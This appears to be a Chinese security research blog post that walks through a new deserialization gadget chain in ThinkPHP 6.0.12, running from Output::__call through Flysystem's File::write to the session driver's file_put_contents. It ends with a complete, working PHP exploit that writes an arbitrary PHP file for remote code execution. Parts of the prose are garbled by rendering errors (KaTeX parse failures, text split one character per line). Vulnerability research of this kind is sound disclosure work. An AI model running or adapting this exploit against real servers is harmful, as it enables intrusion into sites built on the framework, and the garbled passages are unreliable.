声明
出品|先知社区(ID: F10wers13eiCheng)
以下内容,来自先知社区的F10wers13ei-Cheng作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
前言
前人种树,后人乘凉
根据@Morouu师傅的eval反序列化利用链继续挖掘
测试版本:Thinkphp6.0.12
0x01
环境配置(tp6只支持用composer安装)
composer-create-project topthink/think=6.0.12 tp612添加反序列化入口
0x02 挖掘过程
@Morouu师傅的链子调用到了任意类的__call方法,并且可以传入一个可控的参数,我们继续搜索__call函数看看还有没有其他利用点,定位到了Output类中的__call方法。
满足 m e t h o d 在 method在 method在this->style中即可调用到自身的block()函数,跟进查看,调用了 t h i s − > w r i t e l e n ( ) 并 且 this->writelen()并且 this−>writelen()并且message参数可控,接着又调用了 t h i s − > w r i t e ( ) 函 数 ( this->write()函数( this−>write()函数(message参数可控),继续跟进。
这里调用到了任意类的write()方法,全局搜索write()方法,选择了
League\Flysystem\File类中的write()方法
这里同样可以调用到任意类的write()方法,并且可控参数变成了两个( c o n t e n t 就 是 我 们 传 入 的 content就是我们传入的 content就是我们传入的message),继续搜索write()方法,并且传入参数小于等于两个。
这里选择了think\session\driver\File类中的write()方法,传入参数恰好是两个。
绕过if条件,不压缩传入的payload,进入$this->writeFile()方法,并且两个参数全部可控,跟进查看,直接执行了
file_put_contents()任意文件写入,成功RCE。
exp构造
接下来构造exp,利用@Morouu师傅的链子进行修改。前面的链子不用动,从调用__call方法的链子进行修改,首先调用think\console\__call方法,$this->style赋值[‘getDomainBind’]进入block方法。
跟进write()方法,这里调用League\Fly-system\File类的write方法,将$this-
>handle赋值new League\Flysystem\File
这里调用think\session\driver\File的write()方法,将$this->filesystem赋值
new think\session\driver\File
跟进
t
h
i
s
−
>
g
e
t
F
i
l
e
N
a
m
e
(
)
函
数
,
看
看
如
何
给
this->getFileName()函数,看看如何给
this−>getFileName()函数,看看如何给filename赋值
让KaTeX parse error: Undefined control sequence: \[ at position 13: this->config\̲[̲'prefix'\]为空,进入…this-
>config[‘path’]也为空,写入根目录,然后return $filename,继续往下看
让KaTeX parse error: Undefined control sequence: \[ at position 13: this->config\̲[̲'data\_compress…this->writeFile($filename, $data);便于直接写入。
构造完整exp
<?php namespace think\model\concern{
trait Attribute{
private $data = ['huahua'];
} } namespace think\view\driver{
class Php{} }namespace think\session\driver{
class File{
}}namespace League\Flysystem{
class File{
protected $path;
protected $filesystem;
public function __construct($File){
$this->path='huahua.php';
$this->filesystem=$File;
}
}}namespace think\console{
use League\Flysystem\File;
class Output{
protected $styles=[];
private $handle;
public function __construct($File){
$this->styles[]='getDomainBind';
$this->handle=new File($File);
}
}} namespace think{
abstract class Model{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
protected $table;
function __construct($cmd,$File){
$this->lazySave = true;
$this->withEvent = false;
$this->table = new route\Url(new Middleware,new console\Output($File),$cmd);
}
}
class Middleware{
public $request = 2333;
} } namespace think\model{
use think\Model;
class Pivot extends Model{} } namespace think\route{
class Url
{
protected $url = 'a:';
protected $domain;
protected $app;
protected $route;
function __construct($app,$route,$cmd){
$this->domain = $cmd;
$this->app = $app;
$this->route = $route;
}
} } namespace{
echo urlencode(serialize(new think\Model\Pivot('<?php phpinfo(); exit(); ?>',new think\session\driver\File))); }
成功写入